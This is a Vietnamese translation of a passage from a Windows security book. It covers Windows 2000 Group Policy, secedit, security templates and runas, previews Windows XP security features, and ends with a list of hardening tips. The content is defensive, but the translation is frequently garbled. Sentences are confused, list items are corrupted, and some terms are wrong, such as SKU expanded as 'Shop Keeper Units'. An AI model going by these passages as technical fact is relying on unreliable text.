BIỆN PHÁP ĐỐI PHÓ CHUNG: NHỮNG CÔNG CỤ BẢO MẬT
WINDOWS MỚI
Windows 2000 cung cấp những công cụ quản lý bảo mật mới tập trung phần
lớn những chức năng khác biệt của NT4. Những tiện ích này rất hữu ích cho
việc bảo vệ hệ thống hay chỉ cho việc quản lý cẩu hình máy nhằm giữ cho hệ
thống luôn tránh được những lỗi hỏng hóc.
◙ Chính sách Nhóm
Một trong những công cụ mới hữu hiệu nhất có trong Windows 2000 là
Group Policy mà chúng ta đôi khi gặp trong chương này. Group Policy
Objects (GPO) có thểđược lưu trong AD hay trên một máy tính cục bộđể xác
định tham số cấu hình nhất định trên một cấp độ miền hoặc cấp độ cục bộ.
GPO có thểđược áp dụng đối với các trang, miền, hay các Đơn vị tổ chức
(OU) và được truyền cho người sử dụng hay chính máy tính mà chúng chứa
(gọi là "thành viên" của GPO đó).
GPO có thểđược hiển thị và hiệu chỉnh trong bất kỳ cửa sổ giao tiếp MMC
nào (đòi hỏi có đặc quyền của Administrator). GPO gắn với Windows 2000 là
Máy Tính Cục Bộ, Miền Mặc Định, và Chính sách Điều Khiển Miền. Chỉ
bằng cách chạy Start/gpedit.msc, GPO Máy tính cục bộ sẽđược bật lên. Một
cách khác để hiển thị GPO là làm hiển thị mục Properties của một đối tượng
thư mục chỉđịnh (miền, OU, hay vùng), và sau đó chọn mục Group Policy
như minh hoạ dưới đây. Màn ảnh này hiển thị GPO riêng biệt ứng dụng cho
đối tượng được chọn (được ưu tiên liệt kê) và sự thừa kế có bị chặn hay
không, và cho phép GPO được hiệu chỉnh.
Hiệu chỉnh GPO sẽ cho thấy sự thừa cấu hình bảo mật. Cấu hình bảo mật này
có thểđược áp dụng đối với nhiều đối tượng thư mục. Một lợi ích riêng là (Of
particular interest is...) nút Computer Configuration\Windows
Settings\Security Settings\Local Policies\Security Options trong GPO. Có hơn
30 tham sốởđây có thể dùng đểđịnh cấu hình nhằm nâng cao bảo mật cho
bất kỳđối tượng máy tính nào mà ởđó có áp dụng GPO. Những tham số này
bao gồm Additional Restrictions For Anonymous Connections (thiết lập
RestrictAnonymous), LanManager Authentication Level, và Rename
Administrator Account, ba thiết lập quan trọng này chỉđược truy cập qua một
vài giao diện khác biệt NT4.
Nút Security Settings cũng là nơi Account Policies; Audit Policies; và
Event Log, Public Key, và IPSec policies có thểđược thiết lập. Bằng việc cho
phép những thủ thuật hữu hiệu này được thiết lập tại vùng, miền, hay tại mức
OU, công tác quản lý bảo mật trong những môi trường lớn được giảm đi đáng
kể. Quản Lý Miền Mặc Định GPO được chỉ rõ trong hình 6-4.
Những GPO dường như là phương cách cuối cùng để công việc định
cấu hình được bảo mật trong những miền Windows 2000 rộng lớn.Tuy nhiên,
bạn có thể chỉ thu được những kết quả thất thường khi tạo sự kết hợp giữa
quản lý mức miền và mức cục bộ, và sự trì hoãn trước khi những thiết lập
Group Policy có hiệu lực có thể cũng gây khó chịu cho bạn. Sử dụng công cụ
secedit để làm mới Policy ngay lập tức là một cách để giải quyết sự trì hoãn
này (Secedit sẽđược nói tới chi tiết hơn ở phần sau). Để làm mới lại Policy sử
dụng secedit, mở hộp thoại Run và nhập vào
Secedit / refreshpolicy MACHINE_POLICY
Để làm mới lại policy dưới nút User Configuration, gõ
Secedit / refreshpolicy USER_POLICY
Những Công CụĐịnh Cấu Hình Bảo Mật
Liên quan đến đặc trưng Group Policy là Công CụĐịnh Cấu Hình Bảo
Mật, công cụ này bao gồm các tiện ích Phân Tích và Định Cấu Hình Bảo Mật
và tiện ích Khuôn Mẫu Bảo Mật.
Công cụ Phân Tích và Định Cấu Hình Bảo Mật cho phép các
administrator kiểm lại cấu hình hệ thống cho tương thích với khuôn mẫu đã
định sẵn và tái định cấu hình bất kỳ một thiết lập nào không phù hợp. Công cụ
này tiện dụng như một MMC snap-in, hay như một phiên bản dòng lệnh
(secedit). Đây là một cơ chế mạnh cho mọi quyết định nhanh nếu một hệ
thống gặp phải những yêu cầu bảo mật đường cơ sở. Thật không may, công
việc phân tích và định cấu hình chỉ có thể áp dụng đối với những hệ thống cục
bộ và không áp dụng được đối với phạm vi vùng miền. Tiện ích secedit có thể
được dùng trong các logon batch script để bố trí cấu hình và phân tích đến các
hệ thống ở xa, nhưng tiện ích này vẫn không trơn tru như tính năng của Group
Policy trong môi trường phân phát.
Tuy nhiên một điều may mắn là những khuôn mẫu bảo mật có thểđược
nhập vào một Group Policy. Vì vậy, bất cứ miền, vùng, OU nào có GPO áp
dụng vào sẽ nhận được những thiết lập khuôn mẫu bảo mật. Để nhập một
khuôn mẫu bảo mật, kích phải chuột vào nút Computer
Configuration\Windows Settings\Security Settings, và chọn Import từ trình
đơn nội dung. Chức năng Import mặc định với %windir%\security\template
directory, tại nơi đây tiêu chuẩn đặt ra của 11 khuôn mẫu bảo mật được lưu
trữ.
Thực ra, 11 khuôn mẫu bảo mật này cũng tự chứa đựng công cụ
Security Templates. Những file khuôn mẫu này xuất phát từ nhiều mức bảo
mật khác nhau mà có thể sử dụng kết hợp với công cụ Phân Tích và Định Cấu
Hình Bảo Mật. Mặc dù rất nhiều những tham số chưa được xác định nhưng
chúng là những điểm khởi đầu tốt khi thiết kế một khuôn mẫu cho phân tích
và định cấu hình hệ thống. Những file này có thểđược hiển thị qua Security
Templates MMC snap-in hay bằng định cấu hình thủ công với một trình soạn
thảo văn bản (một lần nữa các file này có đuôi mở rộng là .inf và được định vị
tại %windir%\security\templates\.)
Runas
Đối với những người thực sự quan tâm tới UNIX, đểđến với Windows
dường như chỉ là một bước nhỏ, nhưng cuối cùng Windows 2000 cho ra đời
lệnh chuyển đổi đối tượng sử dụng ban đầu có tên runas. Vốn đã nổi tiếng từ
lâu về Bảo mật, ta luôn mong muốn có được tính năng thực thi lệnh trong môi
trường mà trương mục đối tượng sử dụng có đặc quyền ở mức hạn chế nhất.
Malicious Trojans, các file chạy, thư diện tử, hay các trang Web từ xa trong
một trình duyệt có thể khởi chạy tất cả các lệnh với đặc quyền của đối tượng
sử dụng hiện tại; và đối tượng sử dụng này càng có nhiều đặc quyền thì những
hỏng hóc tiền tàng càng tồi tệ.
Rất nhiều cuộc tấn công kiểu này có thể sảy ra trong mọi hoạt động
thường ngày và vì vậy sẽ trở nên đặc biệt quan trọng đối với những ai cần đặc
quyền Administrator để thực hiện một phần trong công việc thường ngày của
họ (thêm trạm làm việc vào miền, quản lý người sử dụng, phần cứng - những
công việc thông thường). Khi những thao tác bảo mật hữu hiệu nhất hoạt
động, những ai không may đăng nhập vào hệ thống của họ như Administrator
dường như không bao giờ có đủ thời gian đểđăng nhập như một người sử
dụng bình thường. Điều này thực sự nguy hiểm trong thế giới mạng máy tính
đang phổ biến hiện nay. Nếu một Administrator gặp phải một trang Web có
khả năng làm hại hay đọc một thưđã định dạng HTML với nội dung hoạt
động nhúng (embedded active content) (xem Chương 16), thì những hư hỏng
có thể lớn hơn rất nhiều so với khi Joe User mắc lỗi tương tự trên trạm làm
việc độc lập của mình.
Lệnh runas cho phép mọi người có thểđăng nhập như một người sử
dụng ít đặc quyền và dần leo lên Administrator trên cơ sở per-task. Ví dụ Joe
được đăng nhập như một User bình thường vào hệđiều khiển miền qua
Terminal Server, và anh ta bỗng nhiên muốn đổi một trong những mật khẩu
Domain Admins (có thể một trong số chúng chỉ thoát khỏi canh giữa thao tác).
Thật không may, anh ta thậm chí không thể khởi động được Active Directory
Users And Computers như một người sử dụng bình thường cho phép thay đổi
một mình Domain Admin password. Runas đến cứu giúp. Sau đây là những gì
anh ta làm:
1. Nhấp Start / Run và sau đó gõ Enter
Runas /user:mydomain\administrator "mmc
%windir%\system32\dsa.msc"
2. Nhập mật khẩu Administrator.
3. Khi Active Directory Users And Computers được khởi động
(dsa.mmc), anh ta có thểđổi mật khẩu Administrator vào bất cứ lúc nào,
nhờđặc quyền của chương mục mydomain\Administrator.
4. Sau đó anh ta thoát Active Directory Users And Computers và trở
lại bình thường như một người sử dụng bình thường.
Anh Joe của chúng ta vừa tự mình thoát khỏi sự rườm rà khi phải đăng xuất
Terminal Server, và sau đó lại đăng nhập như Administrator, đăng xuất một lần nữa, và
lại đăng nhập trở lại như một người sử dụng bình thường. Ít đặc quyền quyết định ngày
hôm đó.
Một trong nhiều ví dụ trước đây về người sử dụng thông minh khi dùng
runas sẽ chạy một trình duyệt web hay một trình đọc mail như một người sử
dụng ít đặc quyền. Tuy nhiên, đây là nơi runas đòi hỏi sự khéo léo như một
mạch khá dài về danh sách địa chỉ thư NTBugtraq được viết chi tiết vào cuối
tháng 3/2000 (vào http://www.ntbugtraq.com). Những người tham gia đều cố
gắng tìm ra chính xác những đặc quyền nào sẽ hoạt động khi một URL được
gọi ra trong cửa sổ tìm kiếm trong một hệ thống với nhiều cửa sổ mở, bao
gồm một số với đặc quyền runas /u:Administrator. Một gợi ý đề ra là đặc một
lối tắt vào trình tìm kiếm này (đã thu nhỏ) trong nhóm Startup, để nó luôn
được khởi động với đặc quyền nhỏ nhất. Tuy nhiên một từ cuối cùng khi sử
dụng runas theo cách này là với những ứng dụng khởi động thông qua trao đổi
dữ liệu động (DDE), như IE, thông tin bảo mật quan trọng được thừa kế từ
quá trình xử lý (mẹ) tạo lập. Vì vậy, runas thực sự chưa bao giờ tạo ra những
xử lý cần thiết cho việc điều khiển hyperlinks, embedded Word docs, và rất
nhiều thứ khác nữa. Tạo lập xử lý mẹ khác biệt bởi chương trình, vì vậy rất
khó để xác định quyền sở hữu thực sự. Có thể hãng Microsoft một ngày nào
đó sẽ phân biệt được liệu đây có thực sự là một thao tác bảo mật tốt hơn việc
đăng xuất tất cả các cửa sổ Administrator để thực hiện trình tìm kiếm.
Runas không phải là một viên đạn bằng bạc. Khi được chỉ ra trong
chuỗi Bugtraq, nó "sẽ giảm đi một số mối nguy hiểm này, nhưng lại tạo ra một
số nguy hiểm khác" (Jeff Schmidt). Hãy sử dụng runas thật khôn khéo.
LỜI KHUYÊN:Giữ phím SHIFT khi nhấp phải chuột vào một file trong
Windows 2000 Explorer - một tuỳ chọn gọi là Run As bây giờ sẽ xuất hiện
trong trình đơn môi trường.
TƯƠNG LAI CỦA WINDOWS 2000
Trong phần này chúng tôi sẽđề cập đến tương lai phía trước của một vài công nghệ mới
có liên quan tới bảo mật. Công nghệ này sẽđịnh dạng nền Windows 2000 khi nó tiến
lên trong những năm sắp tới. Đặc biệt chúng tôi sẽ xem xét những bước phát triển sau:
.NET Framework
Windows XP / Codename Whistler.
.NET FRAMEWORK
.NET Framework (.NET FX) của hãng Microsoft chứa đựng một môi trường cho xây dựng, triển khai, và chạy Web Services và các
ứng dụng khác. Bạn không nên bối rối trước .NET Initiative toàn thể của Microsoft, .NET Initiative toàn thể này liên quan đến
những công nghệ tuân thủ theo thuật ngữ thông dụng như XML; Simple Object Access Protocol (SOAP); và Universal Discovery,
Description and Intergration (UDDI). .NET Framework là một phần quan trọng của sáng kiến đó, nhưng nó thực sự là nền công
nghệ khác biệt hẳn so với tổng thể tầm nhìn .NET của một máy tính cá nhân như một "ổ cắm cho các dịch vụ".
Thực ra nhiều người gọi .NET Framework là một sự cạnh tranh tính
năng vì tính năng đối với môi trường lập trình Java và các dịch vụ liên quan
của Sun Microsystem. Rõ ràng đây là một sự chuyển đổi mang tính đột phá
cho Microsoft. Bước chuyển này hỗ trợ sự phát triển và môi trường thực hiện
hoàn toàn khác biệt với cơ sở truyền thống của thế giới Windows, Win32 API
và NT Service. Giống như việc cắt giảm bớt trách nhiệm của công ty để giao
phó tất cả các sản phẩm với mạng Internet mới ra đời vào giữa những năm
1990, NET Framework chính là khởi điểm quan trọng đối với Microsoft. Nó
có thểđược gắn ghép phổ biến vào những công nghệ khác của Microsoft trong
tương lai. Hiểu được triển vọng của hướng đi mới này là rất cần thiết đối với
những ai có trách nhiệm đưa công nghệ của Microsoft tiến bước trong tương
lai.
CHÚ ÝXem Hacking Exposed Windows 2000 (Osborne/McGraw-Hill, 2001)
để biết thêm chi tiết về .NET Framework.
CODENAME WHISTLER
Mỗi chương trong bảo mật Windows 2000 sẽ là chưa đủ nếu như thieu sự
kiểm tra những tính năng bảo mật mới được dựđịnh trong phiên OS sắp tới.
Kể từ khi bài viết này đến tay các bạn, Release Candidate 1 (RC1) cho
Condename Whistler đã được tung ra, vì vậy sự phân tích toàn diện về tính
năng này là một bước đi trước. Tuy nhiên, chúng ta sẽđi khảo sát khái quát
tính năng này và dừng những ấn tượng ban đầu của chúng ta ởđây.
Phiên Bản Whistler
Thế hệ tiếp theo của Windows hiện được chia thành SKU (Shop Keeper
Units, đó là chỉ danh ID) khách và chủ. Những phiên bản máy khách được gọi
là Windows XP và bao gồm bàn làm việc Professional Edition (Windows XP
Pro), Home Edition với đích là SOHO/khách hàng, và Windows XP 64-bit
Edition ứng dụng đặc biệt đầu trên. Những phiên bản chủ sẽ có thể mang tên
.NET Server (mặc dù chúng vẫn được đề cập đến với cái tên codename
Whistler) và sẽ có thể bao gồm cả những đặc tính của Server cũ và Advanced
Server. Sau đây là tóm lược:
Máy khách
MWindows XP Professional (bàn làm việc)
cWindows XP Home Edition (khách hàng)
WWindows XP 64-bit Edition (ứng dụng thực thi cao)
Máy chủ
ủ.NET Server (Whistler)
CHÚ Ý Windows XP Home Edition được đề cập trong Chương 4.
Internet Connection Firewall (Tường bảo vệ kết nối Internet)
Internet ConnectionFirewall (ICF) có thể là tính năng bảo mật dễ nhận thấy nhất do nó
gắn liền trên hệđiều hành OS mới. ICF đưa ra các tính năng trích lọc gói tin cho phép sử
dụng mạng hướng ra mở nhưng vẫn khoá tính năng kết nối hướng vào.
Software Restriction Policies (các chính sách hạn chế
phần mềm)
Software Restriction Policies của Windows XP là bước tiến tiếp theo của hãng Microsoft
trong cuộc chiến mã nghịch, kết hợp một vài đặc tính riêng biệt của hệđiều hành trước
thành một thể thống nhất chống lại mã nguy hiểm như virus lây qua đường thưđiện tử.
Built-in Wireless Networing Authentication and Encytion(Tính năng mã
hoá và xác định mạng không dây được cài đặt sẵn)
Secure / Ethernet LAN trong Windows XP thực hiện chức năng an ninh cho cả mạng LAN
không dây và có dây dựa trên tính năng đặc tả IEEE 802.11. Lưu ý rằng mạng LAN phải
thực hiện hiệu quảđiều khiển truy xuất đối với tính năng này; nhưng băng cách gắn hỗ trợ
vào Windows, Microsoft đã tìm cách làm cho OS có thể tham gia vào môi trường an ninh
này được dễ dàng và minh bạch hơn.
CHÚ Ý Một số cuộc tấn công có thể phá vỡ những đặc tính bảo mật 802.11
hiện hành. Xem chương 14 để biết thêm chi tiết.
MS Passport Single Login Tích Hợp cho mạng Internet
Trong Windows XP, những giao thức xác định Passport đã được thêm
vào WinInet (WinInet là DLL có chức năng quản lý khả năng kết nối
Internet). Hộ chiếu là giải pháp đăng nhập đơn của Microsoft vào Internet.
Các chương mục đối tượng sử dụng được lưu trong những máy chủ chạy
chương trình Microsoft, và khi đã được xác thực giá trị cho dịch vụ, một thiết
bị chống giả mạo được thiết lập trên máy của đối tượng sử dụng trong một
thời gian nhất định. Thiết bị này có thểđược sử dụng để truy cập các trang
khác có nội dung hỗ trợ lược đồ xác thực giá trị Hộ chiếu.
Biện pháp quản lý cục bộ và nhóm mới
Có một số thiết lập mới có thểđược định cấu hình thông qua Biện Pháp
Quản Lý Cục Bộ Và Nhóm của Windows XP/Whistler, bao gồm một thiết lập
điều khiển mức độ thiếu hụt giá trị phức tạp của LAN Manager.
Ngoài nhiều thiết lập mới có thểđược định cấu hình, Whistler cũng đưa
ra một bổ sung mới cho Biện Pháp Quản Lý Nhóm có tên Resultant Set of
Policy (RSOP). RSOP thực hiện khá nhiều chức năng. RSOP có chức năng
truy hỏi những giao điểm giữa những đối tượng Quản lý nhóm áp dụng tại các
cấp độ trong thư mục (vùng, miền, hay OU) và trở về thiết lập quản lý hiệu
quả. Kiểm tra thứ tự quản lý theo cách này có thể công việc gỡ rối trở nên dễ
dàng hơn. RSOP được thực hiện nhờ công cụ gpresult dòng lênh.
Quản Lý Uỷ Quyền (Credential Management)
Đặc tính Quản Lý Sự Uỷ Nhiệm cung cấp một nơi lưu giữ bảo mật của
sự uỷ nhiệm cho đối tượng sử dụng, bao gồm mật khẩu và những xác nhận
chứng thực X.509. Xác nhận này cung cấp một phương thức đăng nhập đơn
nhất quán cho người sử dụng, bao gồm những đối tượng sử dụng tự do, thông
qua việc cho phép họ dễ dàng truy cập nhờ thường xuyên sử dụng sự uỷ
nhiệm một cách rõ ràng.
Tạo cho người sử dụng dễ dàng hơn khi phục hồi mật khẩu tại những hệ
thống khác và lưu chúng trong một nơi độc lập, điều này dường như không
phải là một ý kiến hay cho chúng ta. Tất nhiên, Windows có thể tựđộng lưu
sự uỷ quyền quá lớn ngày hôm nay trong một vài nơi riêng biệt (mật khẩu của
một trang Web qua IE, mật khẩu chương mục quay số, mật khẩu đăng nhập
miền tại LSA....), vì vậy có thể một nơi chứa hay một API tập trung cho việc
lưu trữđược bảo mật những thông tin trên là một sự tiến bộđáng kể. Chúng ta
sẽđược thấy sau.
Kích Hoạt Sản Phẩm Windows
Mặc dù không chỉđơn thuần là một đặc tính bảo mật theo quan điểm
của khách hàng của Microsoft, Kích Hoạt Sản Phẩm Windows (WPA) còn có
thểđược nhìn nhận như một biện pháp bảo mật rất quan trọng theo quan điểm
của Microsoft. Trong bất kỳ trường hợp nào, WPA vẫn tạo một chuyển biến
quyết định trong quá trình phát triển Windows - trừ một ngoài lệ những phiên
bản Volume Licensed (VL), mọi SKU khách của Windows sẽ có thể cần được
kích hoạt thông qua đường viễn thông hay Internet.
Quản Lý Và Điều Khiển Từ Xa
Windows XP/Whistler có hai tính năng điều khiển từ xa được xây dựng
dựa trên kỹ thuật SO. Những đặc tính này được quản lý bằng System Control
Panel/Remote tab. Đầu tiên là Remote Assitance (trợ giúp từ xa), sẽđược thảo
luận tại Chương 14.
Bản thứ hai, máy tính để bàn từ xa, là máy chủđầu cuối cho hệđiều hành Windows XP.
(Nó không có sẵn trong phiên bản gốc). Nó cung cấp sựđăng nhập lẫn nhau từ xa vào vỏ hệ
điều hành Windows XP thông qua giao thức máy tính để bàn từ xa (RDP), chỉ giống như
máy chủđầu cuối. RDP sử dụng TCP 3389 mà sẽ có trong các máy cùng với máy tính để
bàn từ xa có khẳ năng. Tài liệu hiện hành của Microsoft đề nghị một khung cảnh thông
dụng để sử dụng các máy tính để bàn từ xa: một nhân viên của công ty có thể thiết lập từ xa
vào trạm làm việc ở cơ quan của anh ta hay cô ta và sau đó kết nối tới các hệ thống vào ban
đêm từ nhà để sắp xếp một vài tác vụ chưa hoàn thành. Chúng ta nghi ngại nhiều sự an toàn
của nhà quản trị luôn mơ mộng hão huyền khi nó có thể trên các mạng của họ.
Chuẩn Plug and Play phổ biến
Hệđiều hành Windows XP/ Whistler thêm sự hỗ trợ lựa chọn cho chuẩn Plug
and Play (cắm vào là chạy) chung, mà là một chuẩn cải tiến cho sự khám phá
các thiết bị chung và sự nhận dạng thông qua các mạng. Bức tranh rõ rệt về
máy tính của bạn luồn qua mạng và định dạng bất kỳ một máy in nào, dung
lượng của chúng, v..v.. Tất nhiên, quá trình khám phá này là một đường hai
chiều, và nhiều thiết bị khác cũng có thể lượm lặt thông tin về hệ thống của
bạn thông qua UpnP. Loại đó giống như là SNMP cùng với sự khám phá tự
động và không có xác nhận (trong khuynh hướng đặc trưng). Nếu dịch vụ
UpnP điều khiển bằng tay được lắp đặt( thông qua chương trình thêm vào /di
chuyển/ bộ phận Window/ các dịch vụ mạng' thiết bị Plug and Play), và dịch
vụ máy chủ thiết bị UpnP có thể, hệ thống sẽ nghe trên TCP 2869. Dịch vụ
này hồi đáp tới những câu lệnh HTTP dặc biệt. Giao thức khám phá dịch vụ
đơn giản (SSDP) cũng được thiết lập và nghe thông qua nhiều IP.Theo ý kiến
của chúng tôi, UpnP có thể thêm vào sự xác thực trong phiên bản 2 của giao
thức, và đến lúc ấy Microsoft nên đưa nó ra.
Một chú ý về những ổ cắm thô và những yêu cầu không có căn cứ khác
Nhiều yêu cầu thổi phồng về sự an toàn của Window XP/ Whistler đã diễn ra từng ngày, và
càng nhiều đảm bảo sẽđược làm tốt hơn sau khi công bố. Tuy được làm bởi Microsoft,
những điều hỗ trợ nó, hay nhiều người chỉ trích nó, là những yêu cầu sẽ chỉ bị tiêu tan bởi
thời gian và sự kiểm chứng trong những hoàn cảnh của thế giới thực. Gần đây, người hay
châm chọc sự an toàn Steve Gibson đưa ra một quyết đoán gây xôn xao dư luận rằng
Window XP khuyến khích giao diện chương trình được gọi là những ổ cắm thô sẽ dẫn đến
địa chỉ mạng mở rộng lừa bịp và dịch vụ từ chối những cuộc xâm nhập trên nền những
công nghệ như vậy. Chúng ta sẽđưa mọi người trù tích cuối cùng trên quyết đoán này rằng
vị trí của chúng ta sẽđược kết luận trên sự an toàn của Window.
Hầu hết những sự quản cáo "không an toàn" về những kết quả Window
từ những lỗi chung đã tồn tại trên nhiều công nghệ khác và trong một thời
gian dài. Nó chỉ tồi tệ duy nhất bởi sự phát triển mở rộng của Window. Nếu
bạn chọn sử dụng diễn đàn Window cho nhiều lý do rằng nó quá phổ biến ( dễ
sử dụng, thích hợp, v..v..), bạn sẽ chịu gánh nặng về sự hiểu biết về cách tạo
nó an toàn và giữđược nó như thế nào. Hy vọng rằng, bạn cảm thấy tự tin với
kiến thức thu được từ quyển sách này . Chúc may mắn !
Tổng kết
Với sự khác thường về sự khai thác của IIS5, Windows 2000 đã chỉ ra được sự tiến
bộ thông qua NT4 trong từng giai đoạn của toàn bộ sự an toàn. Thêm vào những đặc trưng
an toàn mới như là IIPSec và một chính sách an toàn đã phân bổ chính xác cũng giúp tăng
trở ngại cho những kẻ xâm nhập và giảm gánh nặng cho nhà quản lý. Đây là một vài mẹo
an toàn đã biên dịch từ sự thảo luận của chúng ta trong chương này và chương 5 về NT, và
từ một lựa chọn về những nguồn an toàn nhất cuả Window 2000 trên mạng Internet:
▼ Kiểm tra sự xâm nhập nguy hiểm vào Window 2000 để hoàn thành sự bảo vệ
an toàn cho Window 2000 từđầu đến cuối. Quyển sách đó bao quát và mở rộng
thông tin đã đề cập trong cuốn sách này để phát hành kết quả phân tích an toàn toàn
diện của Microsoft về vị trí hệđiều hành và những phiên bản tương lai.
■ Nhìn vào bài tổng kết từ chương 5 để kiểm tra danh sách vạch ranh giới tới NT
vững chắc. Hầu hết, nếu tất cả những thông số này không ứng dụng cho Window
2000. ( Tuy nhiên, một vài trong số chúng có thể trong một vài phần mới của UI -
cụ thể Nhómđối tượng chính sách " Cấu hình máy tính\ Cài đặt Window\ Cài đặt an
toàn\ Những chính sách cục bộ\ Những lựa chọn an toàn".
■ Sử dụng dánh sách an toàn được Microsoft cung cấp có sắn tại http://
www.microsoft.com/security. Cũng đưa ra công cụ cấu hình IIS5 cho phép người sử
dụng định ra khuôn mẫu trên nền tảng những bài thực hành tốt được tạo và được
ứng dụng cho các Máy chủ thông tin mạng Internet Window 2000 .
■ Xem http://
www.microsoft.com/TechNet/prodtechnol/sql/maintain/security/sql2ksec. Asp,
thông tin về sự an toàn SQL Server 2000 trên Window 2000, và xem http://
www.sqlsecurity.com thông tin chi tiết về tính dễ gây nguy hiểm nhất trên SQL.
Cũng vậy, sự xâm nhập nguy hiểm vào Window 2000 bao gồm toàn bộ chương này
về những cuộc xâm nhập SQL và những biện pháp đối phó tất cả các nguồn.
■ Nhớ rằng cấp hệđiều hành (OS) có thể không phải là nơi một hệ thống sẽ bị tấn
công. Cấp ứng dụng này luôn xa sự nguy hiểm hơn - đặc biệt sự hiện đại, không có
quốc tịch, các ứng dụng trên nền trang web. Thực hiện sự chuyên cần của bạn tại
cấp OS sử dụng thông tin đã cung cấp trong chương này, nhưng tiêu điểm cao và
chủ yếu bảo vệ toàn bộ lớp ứng dụng.
■ Nó có thể nghe rất ấu trĩ, nhưng đảm bảo bạn đang triển khai một phiên bản cấp
cao của Window 2000. Máy chủ và những sản phẩm Máy chủ tiên tiến đưa ra một
số lượng lớn những dịch vụ (đặc biệt khi có cấu hình như là bộđiều khiển miền thư
mục chủđộng ) và nên được bảo vệ chặt chẽ tránh khỏi những mạng không tin cậy,
những người sử dụng và bất kỳ cái gì bạn vẫn còn mơ hồ.
■ Sqr dụng tối thiểu bằng sự an toàn cao: nếu không có cài gì tồn tại để xâm nhập,
những kẻ xâm nhập sẽ không có cách nào đểđột nhập được. Sử dụng dịch vụ .msc
gây mất khả năng hoạt động những dịch vụ không cần thiết. Những dịch vụ cần
thiết còn lại, định hình chúng một cách an toàn; ví dụ, cấu hình dịch vụ DSN của
Windows 2000 hạn chế vùng chuyển dịch tới các máy chủ chuyên biệt.
■ Nếu tài liệu và các dịch vụ in không cần thiết, vô hiệu khả năng hoạt động của
NetBIOS qua TCP/IP bằng cách mở Mạng và Quay số kết nối và chọn Advanced\
Advanced Settings và huỷ lựa chọn File và Printer Sharing For Microsoft Networks
cho mỗi thiết bịđiều hợp mà bạn muốn bảo vệ, đã minh hoạ trong hình 6-1 ởđầu
chương này. Những cái còn lại là những cách tốt nhất để cấu hình nên giao diện bên
ngoài máy chủ kết nối mạng Internet.
■ Sử dụng màng lọc TCP/IP và những màng lọc IPSec mới (đã miêu tả trong
chương này) để khoá truy cập tới bất kỳ một cổng nghe nào khác ngoại trừ chức
năng hoàn toàn cần thiết tối thiểu.
■ Bảo vệ các giao diện Internet của máy chủ về tường lửa hay những lối đi được
trang bịđể hạn chế những cuộc xâm nhập dịch vụ từ chối như là dòng lũ SYN và
những cơn bão phá vỡ IP. Thêm vào đó, những bước đưa ra trong chương này làm
vững mạnh Windows 2000 chống lại tiêu chuẩn IP dựa trên những cuộc xâm nhập
DoS, và đạt được sự trộn lẫn thích hợp để nối tạm IP không liên quan đến những lỗi
máy tính.
■ Giữ cập nhập với toàn bộ những gói dịch vụ gần đây và những sự nối an toàn.
Xem http:// www.microsoft.com/securityđể xem bang tin danh sách cập nhập.
■ Hạn chế những đặc quyền đăng nhập tương tác để dừng những cuộc xâm nhập
mạnh đặc quyền ( giống như dịch vụ tên là dựđoán trước đường ống và các vấn đề
trạm windows) trước khi chúng bắt đầu.
■ Bất kể khi nào có thể, thoát khỏi kh vực Máy chủđầu cuối hơn là chỉ ngắt kết
nối từ chúng, để không dời những khu vực mở cho những nhà quản lý đểu xâm
nhập vào.
■ Sử dụng những công cụ mới như Chính sách Nhóm ( gpedit.msc) và Cấu hình
an toàn và sự Phân tích công cụ theo khuôn mẫu truyền thống đểả trợ giúp tạo và
xây dựng những cấu hình an toàn thông suốt môi trường Windows 2000 cu bạn.
■ Tuân theo một chính sách mạnh về sự an toàn vật lý để bảo vệ chống lại những
cuộc xâm nhập ngoại tuyến chống lại SAM và EFS được minh hoạ trong chương
này. Sự thực thi SYSKEY trong chếđộ mật khẩu hay đĩa mềm được bảo vệđể tạo
ra những cuộc xâm nhập này khó hơn. Giữ những máy chủ nhạy an toàn về mặt vật
lý, đặt mật khẩu BIOS để bảo vệ sự nạp tuần tự, và xoá hay vô hiệu hoá ổđĩa mềm
và xoá các thiết bị truyền thông mà có thể nạp hệ thống để thay đổi OSes.
■ Theo " Best Practices for Using EFS" tìm thấy trong Windows 2000 trợ giúp
các tập tin, để thực thi sự mã hoá mức thư mực rỗng cho nhiều người sử dụng dữ
liệu khi có thể, đặc biệt cho những người sử dụng máy tính xách tay. Đảm bảo xuất
khẩu và sau đó xoá sự sao chép cục bộ sự phục hồi khoá chi nhánh để các biểu
tượng EFS đã mã hoá không dễ bị nguy hiểm đối với các cuộc xâm nhập ngoại
tuyến mà làm tổn hại Nhà quản lý phục hồi chứng nhận.
■ Thuê bao tới danh sách gọi NTBugtraq ( http:// www.ntbugtraq.com) để giữ
vững những thảo luận hiện hành trong sự an toàn của NT 2000. Nếu khối lượng lưu
chuyển trên danh sách trở nên vững vàng cho một vài rãnh, thay đổi sự mô tả cảu
bạn tới các dạng điện báo, mà trong đó một điện báo của tất cả những tin nhắn quan
trọng được đưa ra định kỳ còn được mong đợi. Để nhận danh sách thư dạng điện
báo trong mạng NT an toàn, gửi một tin nhắn tới [email protected]
cùng với "đặt điện báo NT an toàn" trong đoạn giữa cuả tin nhắn. ( bạn không cần
một tuyến đối tượng) .
▲ Danh sách thưđiện tử của Win2KsecAdvice taih http:// www.ntsecurity.net mà giống
hệt NTBugtraq, thỉnh thoảng có nội dung danh sách NTBugtraq sót. Nó cũng có một phiên
bản điện báo thuận tiện.
Bạn đang đọc truyện trên: AzTruyen.Top